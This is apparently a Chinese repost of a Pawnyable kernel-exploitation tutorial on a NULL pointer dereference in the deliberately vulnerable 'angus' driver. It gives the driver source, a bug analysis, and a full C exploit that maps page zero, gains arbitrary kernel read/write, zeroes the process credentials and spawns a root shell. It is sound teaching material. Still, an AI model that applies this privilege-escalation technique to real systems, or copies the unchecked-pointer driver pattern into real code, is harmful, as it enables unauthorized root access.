0018-TIPS-pawnyable : NULL-Pointer-Dereference

原文
NULL Pointer Dereference
题目下载

环境宽松限制

启动选项中可以看到,SMAP在被攻击的机器上被禁用。除非禁用 SMAP,否则无法利用本章中讨论的 NULL 指针取消引用。
还可以尝试启动该内核并输入以下命令:

$ cat /proc/sys/vm/mmap_min_addr
0

mmap_min_addr是一个 Linux 内核变量,顾名思义,它限制可以从用户态mmap映射的最低地址。
请注意,默认情况下它是一个非零值,但在我们的攻击目标中设置为 0。
该变量是从 Linux 内核版本 2.6.23 引入的,作为 NULL 指针取消引用的缓解措施,我们将在此处处理该问题。

本章的内容是基于可以避免SMAP和mmap缓解的前提下的攻击。

代码分析

#include 
#include 
#include 
#include 
#include 
#include 

MODULE_LICENSE("GPL");
MODULE_AUTHOR("ptr-yudai");
MODULE_DESCRIPTION("Angus - Vulnerable Kernel Driver for Pawnyable");

#define DEVICE_NAME "angus"
#define CMD_INIT    0x13370001
#define CMD_SETKEY  0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

long xor(XorCipher *ctx) {
  size_t i;

  if (!ctx->data || !ctx->key) return -EINVAL;
  for (i = 0; i < ctx->datalen; i++)
    ctx->data[i] ^= ctx->key[i % ctx->keylen];
  return 0;
}

static int module_open(struct inode *inode, struct file *filp) {
  filp->private_data = NULL;
  return 0;
}

static int module_close(struct inode *inode, struct file *filp) {
  XorCipher *ctx;

  if ((ctx = (XorCipher*)filp->private_data)) {
    if (ctx->data) kfree(ctx->data);
    if (ctx->key) kfree(ctx->key);
    kfree(filp->private_data);
  }

  return 0;
}

static long module_ioctl(struct file *filp,
                         unsigned int cmd,
                         unsigned long arg) {
  request_t req;
  XorCipher *ctx;

  if (copy_from_user(&req, (void*)arg, sizeof(request_t)))
    return -EINVAL;

  ctx = (XorCipher*)filp->private_data;

  switch (cmd) {
    case CMD_INIT:
      if (!ctx)
        filp->private_data = (void*)kzalloc(sizeof(XorCipher), GFP_KERNEL);
      if (!filp->private_data) return -ENOMEM;
      break;

    case CMD_SETKEY:
      if (!ctx) return -EINVAL;
      if (!req.ptr || req.len > 0x1000) return -EINVAL;
      if (ctx->key) kfree(ctx->key);
      if (!(ctx->key = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;

      if (copy_from_user(ctx->key, req.ptr, req.len)) {
        kfree(ctx->key);
        ctx->key = NULL;
        return -EINVAL;
      }

      ctx->keylen = req.len;
      break;

    case CMD_SETDATA:
      if (!ctx) return -EINVAL;
      if (!req.ptr || req.len > 0x1000) return -EINVAL;
      if (ctx->data) kfree(ctx->data);
      if (!(ctx->data = (char*)kmalloc(req.len, GFP_KERNEL))) return -ENOMEM;
      
      if (copy_from_user(ctx->data, req.ptr, req.len)) {
        kfree(ctx->key);
        ctx->key = NULL;
        return -EINVAL;
      }

      ctx->datalen = req.len;
      break;

    case CMD_GETDATA:
      if (!ctx->data) return -EINVAL;
      if (!req.ptr || req.len > ctx->datalen) return -EINVAL;
      if (copy_to_user(req.ptr, ctx->data, req.len)) return -EINVAL;
      break;

    case CMD_ENCRYPT:
    case CMD_DECRYPT:
      return xor(ctx);

    default: return -EINVAL;
  }

  return 0;
}

static struct file_operations module_fops = {
  .owner   = THIS_MODULE,
  .open    = module_open,
  .release = module_close,
  .unlocked_ioctl = module_ioctl
};

static dev_t dev_id;
static struct cdev c_dev;

static int __init module_initialize(void)
{
  if (alloc_chrdev_region(&dev_id, 0, 1, DEVICE_NAME))
    return -EBUSY;

  cdev_init(&c_dev, &module_fops);
  c_dev.owner = THIS_MODULE;

  if (cdev_add(&c_dev, dev_id, 1)) {
    unregister_chrdev_region(dev_id, 1);
    return -EBUSY;
  }

  return 0;
}

static void __exit module_cleanup(void)
{
  cdev_del(&c_dev);
  unregister_chrdev_region(dev_id, 1);
}

module_init(module_initialize);
module_exit(module_cleanup);

module_open

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第1张图片

CMD_INIT

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第2张图片

CMD_SETKEY

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第3张图片

CMD_SETDATA

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第4张图片

CMD_ENCRYPT && CMD_ENCRYPT

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第5张图片

CMD_GETDATA

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第6张图片

漏洞分析

代码在CMD_SETKEYCMD_SETDATA,会检查filp->private_data是否指向null,这没问题

ctx = (XorCipher*)filp->private_data;

case CMD_SETDATA:
  if (!ctx) return -EINVAL;

case CMD_SETKEY:
  if (!ctx) return -EINVAL;

但是在CMD_GETDATACMD_SETDATACMD_ENCRYPTCMD_DECRYPT处没有检查filp->private_data是否指向null
(重要前提,没有开启smap保护、关闭了mmap_min_addr限制)
会产生如下的问题

0018-TIPS-pawnyable : NULL-Pointer-Dereference_第7张图片
0018-TIPS-pawnyable : NULL-Pointer-Dereference_第8张图片

exp

#define _GNU_SOURCE
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#define CMD_INIT    0x13370001
#define CMD_SETKEY  0x13370002
#define CMD_SETDATA 0x13370003
#define CMD_GETDATA 0x13370004
#define CMD_ENCRYPT 0x13370005
#define CMD_DECRYPT 0x13370006

typedef struct {
  char *key;
  char *data;
  size_t keylen;
  size_t datalen;
} XorCipher;

typedef struct {
  char *ptr;
  size_t len;
} request_t;

void fatal(const char *msg) {
  perror(msg);
  exit(1);
}

int fd;

int angus_init(void) {
  request_t req = { NULL };
  return ioctl(fd, CMD_INIT, &req);
}
int angus_setkey(char *key, size_t keylen) {
  request_t req = { .ptr = key, .len = keylen };
  return ioctl(fd, CMD_SETKEY, &req);
}
int angus_setdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_SETDATA, &req);
}
int angus_getdata(char *data, size_t datalen) {
  request_t req = { .ptr = data, .len = datalen };
  return ioctl(fd, CMD_GETDATA, &req);
}
int angus_encrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}
int angus_decrypt() {
  request_t req = { NULL };
  return ioctl(fd, CMD_ENCRYPT, &req);
}

XorCipher *nullptr = NULL;

int AAR(char *dst, char *src, size_t len) {
  nullptr->data = src;
  nullptr->datalen = len;
  return angus_getdata(dst, len);
}

void AAW(char *dst, char *src, size_t len) {
  char *tmp = (char*)malloc(len);
  if (tmp == NULL) fatal("malloc");
  AAR(tmp, dst, len);

  for (size_t i = 0; i < len; i++)
    tmp[i] ^= src[i];

  nullptr->data = dst;
  nullptr->datalen = len;
  nullptr->key = tmp;
  nullptr->keylen = len;
  angus_encrypt();

  free(tmp);
}

int main() {
  fd = open("/dev/angus", O_RDWR);
  if (fd == -1) fatal("/dev/angus");

  if (mmap(0, 0x1000, PROT_READ|PROT_WRITE,
           MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE|MAP_POPULATE,
           -1, 0) != NULL)
    fatal("mmap");


  prctl(PR_SET_NAME, "nekomaru");
  unsigned long addr;
  size_t stride = 0x1000000;
  char *needle, *buf = malloc(stride);
  if (!buf) fatal("malloc(stride)");
  for (addr = 0xffff888000000000; addr < 0xffffc88000000000; addr += stride) {
    if (addr % 0x10000000000 == 0) printf("[*] Searching 0x%016lx...\n", addr);

    if (AAR(buf, (char*)addr, stride) != 0) continue;

    if (needle = memmem(buf, stride, "nekomaru", 8)) {
      addr += (needle - buf);
      printf("[+] Found comm: 0x%016lx\n", addr);
      break;
    }
  }
  if (addr == 0xffffc88000000000) {
    puts("[-] Not found");
    exit(1);
  }

  unsigned long addr_cred;
  AAR((char*)&addr_cred, (char*)(addr - 8), 8);
  printf("[+] cred: 0x%016lx\n", addr_cred);


  char zero[0x20] = { 0 };
  AAW((char*)(addr_cred + 4), zero, sizeof(zero));

  puts("[+] Win!");
  system("/bin/sh");
  return 0;
}

你可能感兴趣的:(pwn_cve_kernel,kernel,pwn)